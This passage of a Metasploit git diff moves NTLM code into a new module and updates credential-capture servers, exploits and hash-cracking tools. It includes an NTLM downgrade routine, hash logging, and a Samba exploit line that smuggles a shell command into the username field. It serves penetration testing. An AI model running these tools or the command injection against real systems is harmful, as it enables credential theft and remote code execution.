+ dns_domain) - win_domain = Rex::Text.to_unicode(win_domain) - dns_domain = Rex::Text.to_unicode(dns_domain) - win_name = Rex::Text.to_unicode(win_name) - decode = Rex::Text.decode_base64(message.strip) - - type = decode[8,1].unpack("C").first - - if (type == 1) - # A type 1 message has been received, lets build a type 2 message response - - reqflags = decode[12,4] - reqflags = reqflags.unpack("V").first - - if (reqflags & CONST::REQUEST_TARGET) == CONST::REQUEST_TARGET - - if (downgrade) - # At this time NTLMv2 and signing requirements are not supported - if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY - reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY - end - if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN - reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN - end - end - - flags = reqflags + CONST::TARGET_TYPE_DOMAIN + CONST::TARGET_TYPE_SERVER - tid = true - - tidoffset = 48 + win_domain.length - tidbuff = - [2].pack('v') + # tid type, win domain - [win_domain.length].pack('v') + - win_domain + - [1].pack('v') + # tid type, server name - [win_name.length].pack('v') + - win_name + - [4].pack('v') + # tid type, domain name - [dns_domain.length].pack('v') + - dns_domain + - [3].pack('v') + # tid type, dns_name - [dns_name.length].pack('v') + - dns_name - else - flags = CONST::NEGOTIATE_UNICODE + CONST::NEGOTIATE_NTLM - tid = false - end - - type2msg = "NTLMSSP\0" + # protocol, 8 bytes - "\x02\x00\x00\x00" # type, 4 bytes - - if (tid) - type2msg += # Target security info, 8 bytes. Filled if REQUEST_TARGET - [win_domain.length].pack('v') + # Length, 2 bytes - [win_domain.length].pack('v') # Allocated space, 2 bytes - end - - type2msg +="\x30\x00\x00\x00" + # Offset, 4 bytes - [flags].pack('V') + # flags, 4 bytes - nonce + # the nonce, 8 bytes - "\x00" * 8 # Context (all 0s), 8 bytes - - if (tid) - type2msg += # Target information security buffer. Filled if REQUEST_TARGET - [tidbuff.length].pack('v') + # Length, 2 bytes - [tidbuff.length].pack('v') + # Allocated space, 2 bytes - [tidoffset].pack('V') + # Offset, 4 bytes (usually \x48 + length of win_domain) - win_domain + # Target name data (domain in unicode if REQUEST_UNICODE) - # Target information data - tidbuff + # Type, 2 bytes - # Length, 2 bytes - # Data (in unicode if REQUEST_UNICODE) - "\x00\x00\x00\x00" # Terminator, 4 bytes, all \x00 - end - - type2msg = Rex::Text.encode_base64(type2msg).delete("\n") # base64 encode and remove the returns - else - # This is not a Type2 message - type2msg = "" - end - - return type2msg - end - - # - # Downgrading Type messages to LMv1/NTLMv1 and removing signing - # - def self.downgrade_type_message(message) - decode = Rex::Text.decode_base64(message.strip) - - type = decode[8,1].unpack("C").first - - if (type > 0 and type < 4) - reqflags = decode[12..15] if (type == 1 or type == 3) - reqflags = decode[20..23] if (type == 2) - reqflags = reqflags.unpack("V") - - # Remove NEGOTIATE_NTLMV2_KEY and NEGOTIATE_ALWAYS_SIGN, this lowers the negotiation - # down to LMv1/NTLMv1. - if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY - reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY - end - if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN - reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN - end - - # Return the flags back to the decode so we can base64 it again - flags = reqflags.to_s(16) - 0.upto(8) do |idx| - if (idx > flags.length) - flags.insert(0, "0") - end - end - - idx = 0 - 0.upto(3) do |cnt| - if (type == 2) - decode[23-cnt] = [flags[idx,1]].pack("C") - else - decode[15-cnt] = [flags[idx,1]].pack("C") - end - idx += 2 - end - - end - return Rex::Text.encode_base64(decode).delete("\n") # base64 encode and remove the returns - end - end end end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 32f3a4c56e..d8bee04c3f 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -414,6 +414,33 @@ module Text end end + # + # Converts a unicode string to standard ASCII text. + # + def self.to_ascii(str='', type = 'utf-16le', mode = '', size = '') + return '' if not str + case type + when 'utf-16le' + return str.unpack('v*').pack('C*') + when 'utf-16be' + return str.unpack('n*').pack('C*') + when 'utf-32le' + return str.unpack('V*').pack('C*') + when 'utf-32be' + return str.unpack('N*').pack('C*') + when 'utf-7' + raise TypeError, 'invalid utf type, not yet implemented' + when 'utf-8' + raise TypeError, 'invalid utf type, not yet implemented' + when 'uhwtfms' # suggested name from HD :P + raise TypeError, 'invalid utf type, not yet implemented' + when 'uhwtfms-half' # suggested name from HD :P + raise TypeError, 'invalid utf type, not yet implemented' + else + raise TypeError, 'invalid utf type' + end + end + # # Encode a string in a manor useful for HTTP URIs and URI Parameters. # @@ -1036,6 +1063,28 @@ module Text [bits.join].pack("B32").unpack("N")[0] end + # + # Split a string by n charachter into an array + # + def self.split_to_a(str, n) + if n > 0 + s = str.dup + until s.empty? + (ret ||= []).push s.slice!(0, n) + end + else + ret = str + end + ret + end + + # + #Pack a value as 64 bit litle endian; does not exist for Array.pack + # + def self.pack_int64le(val) + [val & 0x00000000ffffffff, val >> 32].pack("V2") + end + protected diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index 9abf2f2b21..37d6a37069 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -93,8 +93,8 @@ class Metasploit3 < Msf::Auxiliary user = "USER" domain = "DOMAIN" - hash_lm = Rex::Proto::SMB::Crypt.lanman_des("X", "X" * 8) - hash_nt = Rex::Proto::SMB::Crypt.ntlm_md4("X", "X" * 8) + hash_lm = Rex::Proto::NTLM::Crypt.lanman_des("X", "X" * 8) + hash_nt = Rex::Proto::NTLM::Crypt.ntlm_md4("X", "X" * 8) data = '' data << hash_lm diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index f0af695bb3..c88f250830 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -11,7 +11,7 @@ require 'msf/core' -require 'net/ntlm' +require 'rex/proto/ntlm/message' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb index a314f2795c..dfd4ec39da 100644 --- a/modules/auxiliary/server/capture/http_ntlm.rb +++ b/modules/auxiliary/server/capture/http_ntlm.rb @@ -11,11 +11,12 @@ require 'msf/core' -require 'rex/proto/smb/constants' -CONST = Rex::Proto::SMB::Constants +require 'rex/proto/ntlm/constants' -require 'rex/proto/smb/utils' -UTILS = Rex::Proto::SMB::Utils +NTLM_CONST = Rex::Proto::NTLM::Constants + +require 'rex/proto/ntlm/message' +MESSAGE = Rex::Proto::NTLM::Message class Metasploit3 < Msf::Auxiliary @@ -110,13 +111,13 @@ class Metasploit3 < Msf::Auxiliary end response = create_response(401, "Unauthorized") - chalhash = UTILS.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain) + chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain) response.headers['WWW-Authenticate'] = "NTLM " + chalhash return response #if the message is a type 3 message, then we have our creds elsif(message[8,1] == "\x03") - domain,user,host,lm_hash,ntlm_hash = UTILS.process_type3_message(hash) + domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash) print_status("#{cli.peerhost}: #{domain}\\#{user} #{lm_hash}:#{ntlm_hash} on #{host}") if(datastore['LOGFILE']) @@ -165,12 +166,12 @@ class Metasploit3 < Msf::Auxiliary reqflags = message[12,4] reqflags = reqflags.unpack("V").first - if((reqflags & CONST::NEGOTIATE_DOMAIN) == CONST::NEGOTIATE_DOMAIN) + if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN) dom_len = message[16,2].unpack('v')[0].to_i dom_off = message[20,2].unpack('v')[0].to_i domain = message[dom_off,dom_len].to_s end - if((reqflags & CONST::NEGOTIATE_WORKSTATION) == CONST::NEGOTIATE_WORKSTATION) + if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION) wor_len = message[24,2].unpack('v')[0].to_i wor_off = message[28,2].unpack('v')[0].to_i workstation = message[wor_off,wor_len].to_s diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 957c42c381..3e096e4482 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -61,20 +61,20 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ - OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation", false ]), - OptBool.new("NTLM_EXTENDED_SECURITY", [ true, "Use ntlm extended security when smb extended security is set", false ]), - OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set", false ]), + OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), + OptBool.new("NTLM_UseNTLM2_session", [ true, "activate the 'Negotiate NTLM2 key' flag in ntlm authentification when smb extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]), + OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set, when this flag is not set windows will respond without gss encapsulation, ubuntu will still use gss", false ]), OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) ], self.class) end - def run - + def run @s_smb_esn = datastore['SMB_EXTENDED_SECURITY'] - @s_ntlm_esn = datastore['NTLM_EXTENDED_SECURITY'] + @s_ntlm_esn = datastore['NTLM_UseNTLM2_session'] @s_gss_neg = datastore['USE_GSS_NEGOCIATION'] @domain_name = datastore['DOMAIN_NAME'] + @s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*') if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ @challenge = [ datastore['CHALLENGE'] ].pack("H*") @@ -184,7 +184,7 @@ class Metasploit3 < Msf::Auxiliary pkt['Payload'].v['Payload'] = @s_GUID if @s_gss_neg then - pkt['Payload'].v['Payload'] += UTILS::make_simple_negotiate_secblob_resp + pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp end else @@ -231,13 +231,13 @@ class Metasploit3 < Msf::Auxiliary end - ntlm_message = NTLM::Message.parse(blob) + ntlm_message = NTLM_MESSAGE::parse(blob) case ntlm_message - when NTLM::Message::Type1 + when NTLM_MESSAGE::Type1 #Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet - if (ntlm_message.flag & CONST::NEGOTIATE_NTLM2_KEY != 0) + if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0) c_ntlm_esn = true else c_ntlm_esn = false @@ -269,14 +269,14 @@ class Metasploit3 < Msf::Auxiliary sb_flag = 0xe2828215 #no ntlm2 end if c_gss - securityblob = UTILS::make_ntlmv2_secblob_chall( win_domain, + securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain, win_name, dns_domain, dns_name, @challenge, sb_flag) else - securityblob = UTILS::make_ntlm_type2_blob( win_domain, + securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain, win_name, dns_domain, dns_name, @@ -289,7 +289,7 @@ class Metasploit3 < Msf::Auxiliary c.put(pkt.to_s) - when NTLM::Message::Type3 + when NTLM_MESSAGE::Type3 #we can process the hash and send a status_logon_failure response packet # Record the remote multiplex ID @@ -298,18 +298,18 @@ class Metasploit3 < Msf::Auxiliary nt_len = ntlm_message.ntlm_response.length if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE, + arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :lm_hash => ntlm_message.lm_response.unpack('H*')[0], :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] } if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 - arg[:ntlm_ver] = CONST::NTLM_2_SESSION_RESPONSE + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end #if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response elsif nt_len > 24 #lmv2/ntlmv2 - arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE, + arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], @@ -363,14 +363,14 @@ class Metasploit3 < Msf::Auxiliary if nt_len == 24 - arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE, + arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] } #if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response elsif nt_len > 24 - arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE, + arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], @@ -410,7 +410,7 @@ class Metasploit3 < Msf::Auxiliary def smb_get_hash(smb,arg = {}) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == CONST::NTLM_V1_RESPONSE or ntlm_ver == CONST::NTLM_2_SESSION_RESPONSE + if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE lm_hash = arg[:lm_hash] nt_hash = arg[:nt_hash] else @@ -441,9 +441,9 @@ class Metasploit3 < Msf::Auxiliary @previous_ntlm_hash = nt_hash #TODO: check if the hash crrespond to an empty password - if ntlm_ver == CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then + if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then lm_hash_message = "Disabled" - elsif ntlm_ver == CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 + elsif ntlm_ver == NTLM_CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 lm_hash_message = "Disabled" lm_chall_message = 'Disabled' else @@ -453,12 +453,12 @@ class Metasploit3 < Msf::Auxiliary capturedtime = Time.now.to_s case ntlm_ver - when CONST::NTLM_V1_RESPONSE + when NTLM_CONST::NTLM_V1_RESPONSE capturelogmessage = "#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" + "#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" - when CONST::NTLM_V2_RESPONSE + when NTLM_CONST::NTLM_V2_RESPONSE capturelogmessage = "#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" + "#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + @@ -466,7 +466,7 @@ class Metasploit3 < Msf::Auxiliary "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + "NTHASH:#{nt_hash ? nt_hash : ""} " + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" - when CONST::NTLM_2_SESSION_RESPONSE + when NTLM_CONST::NTLM_2_SESSION_RESPONSE capturelogmessage = "#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" + "#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + @@ -516,7 +516,7 @@ class Metasploit3 < Msf::Auxiliary end if(datastore['CAINPWFILE'] and smb[:username]) - if ntlm_ver == CONST::NTLM_V1_RESPONSE then + if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE then fd = File.open(datastore['CAINPWFILE'], "ab") fd.puts( [ @@ -533,7 +533,7 @@ class Metasploit3 < Msf::Auxiliary if(datastore['JOHNPWFILE'] and smb[:username]) case ntlm_ver - when CONST::NTLM_V1_RESPONSE + when NTLM_CONST::NTLM_V1_RESPONSE fd = File.open(datastore['JOHNPWFILE'] + '_lmv1_ntlmv1', "ab") fd.puts( @@ -546,7 +546,7 @@ class Metasploit3 < Msf::Auxiliary ].join(":").gsub(/\n/, "\\n") ) fd.close - when CONST::NTLM_V2_RESPONSE + when NTLM_CONST::NTLM_V2_RESPONSE #lmv2 fd = File.open(datastore['JOHNPWFILE'] + '_lmv2', "ab") fd.puts( diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index dc2233ad71..c4a7285175 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::SMB - # For our customized version of session_setup_ntlmv1 + # For our customized version of session_setup_no_ntlmssp CONST = Rex::Proto::SMB::Constants CRYPT = Rex::Proto::SMB::Crypt @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote username = "/=`nohup " + payload.encoded + "`" begin simple.client.negotiate(false) - simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false) + simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false) rescue ::Timeout::Error, XCEPT::LoginError # nothing, it either worked or it didn't ;) end diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 1a3bd642dc..48187d2f0c 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Remote begin client.session_request(smb_hostname()) if not datastore['SMBDirect'] client.negotiate - client.session_setup_ntlmv2_blob(token) + client.session_setup_with_ntlmssp_blob(token) rescue => e if (e.to_s =~ /error code 0x00050001/) print_error("The target system has already been exploited") @@ -180,7 +180,7 @@ class Metasploit3 < Msf::Exploit::Remote # Returns an ASN.1 encoded string def enc_asn1(str) - Rex::Proto::SMB::Utils::asn1encode(str) + Rex::Proto::NTLM::Utils::asn1encode(str) end # Returns an ASN.1 encoded bit string with 0 unused bits diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 8da611e536..8ccf4cc384 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -131,7 +131,8 @@ class Metasploit3 < Msf::Exploit::Remote # Upload the shellcode to a file print_status("Uploading payload...") simple.connect("ADMIN$") - fd = simple.open("\\#{filename}", 'rwct') + + fd = smb_open("\\#{filename}", 'rwct') exe = '' opts = { :servicename => servicename } diff --git a/tools/halflm_second.rb b/tools/halflm_second.rb index b78e563adc..b1f79d9c98 100755 --- a/tools/halflm_second.rb +++ b/tools/halflm_second.rb @@ -20,16 +20,17 @@ def usage exit end -def try(word) - buf = ::Rex::Proto::SMB::Crypt.lanman_des(word, "\x11\x22\x33\x44\x55\x66\x77\x88") +def try(word,challenge) + buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge) buf.unpack("H*")[0] end -hash = pass = nil +hash = pass = chall = nil $args = Rex::Parser::Arguments.new( "-n" => [ true, "The encypted LM hash to crack" ], - "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], + "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], + "-s" => [ true, "The server challenge (default value 1122334455667788)" ], "-h" => [ false, "Display this help information" ]) @@ -39,6 +40,8 @@ $args.parse(ARGV) { |opt, idx, val| hash = val when "-p" pass = val + when "-s" + chall = val when "-h" usage else @@ -50,6 +53,18 @@ if (not (hash and pass)) usage end +if (not chall) + chall = ["1122334455667788"].pack("H*") +else + if not chall =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + else + chall = [chall].pack("H*") + end +end + + if(hash.length != 48) $stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal" exit @@ -60,6 +75,8 @@ if(pass.length != 7) exit end + + pass = pass.upcase hash = hash.downcase @@ -69,7 +86,7 @@ stime = Time.now.to_f puts "[*] Trying one character..." 0.upto(cset.length-1) do |c1| test = pass + cset[c1].chr - if(try(test) == hash) + if(try(test, chall) == hash) puts "[*] Cracked: #{test}" exit end @@ -80,7 +97,7 @@ puts "[*] Trying two characters (eta: #{etime * cset.length} seconds)..." 0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c2| test = pass + cset[c1].chr + cset[c2].chr - if(try(test) == hash) + if(try(test, chall) == hash) puts "[*] Cracked: #{test}" exit end @@ -92,7 +109,7 @@ puts "[*] Trying three characters (eta: #{etime * cset.length * cset.length} sec 0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c3| test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr - if(try(test) == hash) + if(try(test, chall) == hash) puts "[*] Cracked: #{test}" exit end @@ -107,7 +124,7 @@ puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cse 0.upto(cset.length-1) do |c3| 0.upto(cset.length-1) do |c4| test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr - if(try(test) == hash) + if(try(test, chall) == hash) puts "[*] Cracked: #{test}" exit end diff --git a/tools/lm2ntcrack.rb b/tools/lm2ntcrack.rb index 51d1878758..eba6063b9e 100755 --- a/tools/lm2ntcrack.rb +++ b/tools/lm2ntcrack.rb @@ -12,7 +12,9 @@ msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__ $:.unshift(File.join(File.dirname(msfbase), '..', 'lib')) require 'rex' -require 'net/ntlm' +require 'rex/proto/ntlm/crypt' + +CRYPT = Rex::Proto::NTLM::Crypt BRUTE_MODE = 1 HASH_MODE = 2 @@ -125,7 +127,7 @@ when "HALFLM" password = line.gsub("\r\n",'').gsub("\n",'') if password =~ /^.{1,7}$/ puts password - calculatedhash = Net::NTLM::lm_hash(password,true).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase if calculatedhash == hash.upcase found = true match_password = password @@ -146,7 +148,7 @@ when "HALFLM" $stderr.puts "[*] LM password can not be bigger then 7 characters" exit end - calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" exit when PASS_MODE @@ -158,7 +160,7 @@ when "HALFLM" $stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal" exit end - calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase if hash.upcase == calculatedhash puts "[*] Correct password provided : #{pass.upcase}" exit @@ -182,7 +184,7 @@ when "LM" password = line.gsub("\r\n",'').gsub("\n",'') if password =~ /^.{1,14}$/ puts password - calculatedhash = Net::NTLM::lm_hash(password.upcase).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase if calculatedhash == hash.upcase found = true match_password = password @@ -203,7 +205,7 @@ when "LM" $stderr.puts "[*] LM password can not be bigger then 14 characters" exit end - calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" exit when PASS_MODE @@ -215,7 +217,7 @@ when "LM" $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" exit end - calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase if hash.upcase == calculatedhash puts "[*] Correct password provided : #{pass.upcase}" exit @@ -238,7 +240,7 @@ when "NTLM" password_list.each_line do |line| password = line.gsub("\r\n",'').gsub("\n",'') puts password - calculatedhash = Net::NTLM::ntlm_hash(password).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm_hash(password).unpack("H*")[0].upcase if calculatedhash == hash.upcase found = true match_password = password @@ -254,7 +256,7 @@ when "NTLM" exit end when HASH_MODE - calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}" exit when PASS_MODE @@ -262,7 +264,7 @@ when "NTLM" $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" exit end - calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase if hash.upcase == calculatedhash puts "[*] Correct password provided : #{pass}" exit @@ -294,9 +296,9 @@ when "HALFNETLMv1" if password =~ /^.{1,7}$/ puts password #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => Net::NTLM::lm_hash(password,true)[0,7], + arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7], :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase if calculatedhash == hash.upcase found = true match_password = password @@ -325,10 +327,10 @@ when "HALFNETLMv1" $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" exit end - arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7], + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" exit when PASS_MODE @@ -349,10 +351,10 @@ when "HALFNETLMv1" exit end #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7], + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase if hash.upcase == calculatedhash puts "[*] Correct password provided : #{pass.upcase}" exit @@ -383,9 +385,9 @@ when "NETLMv1" password = line.gsub("\r\n",'').gsub("\n",'') if password =~ /^.{1,14}$/ puts password - arglm = { :lm_hash => Net::NTLM::lm_hash(password), + arglm = { :lm_hash => CRYPT::lm_hash(password), :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase if calculatedhash == hash.upcase found = true match_password = password @@ -414,10 +416,10 @@ when "NETLMv1" $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" exit end - arglm = { :lm_hash => Net::NTLM::lm_hash(pass), + arglm = { :lm_hash => CRYPT::lm_hash(pass), :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" exit when PASS_MODE @@ -437,10 +439,10 @@ when "NETLMv1" $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" exit end - arglm = { :lm_hash => Net::NTLM::lm_hash(pass), + arglm = { :lm_hash => CRYPT::lm_hash(pass), :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase if hash.upcase == calculatedhash puts "[*] Correct password provided : #{pass.upcase}" exit @@ -470,9 +472,9 @@ when "NETNTLMv1" password_list.each_line do |line| password = line.gsub("\r\n",'').gsub("\n",'') puts password - argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password), + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(password), :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase if calculatedhash == hash.upcase found = true match_password = password @@ -496,9 +498,9 @@ when "NETNTLMv1" $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" exit end - argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass), + argntlm = { :ntlm_hash => 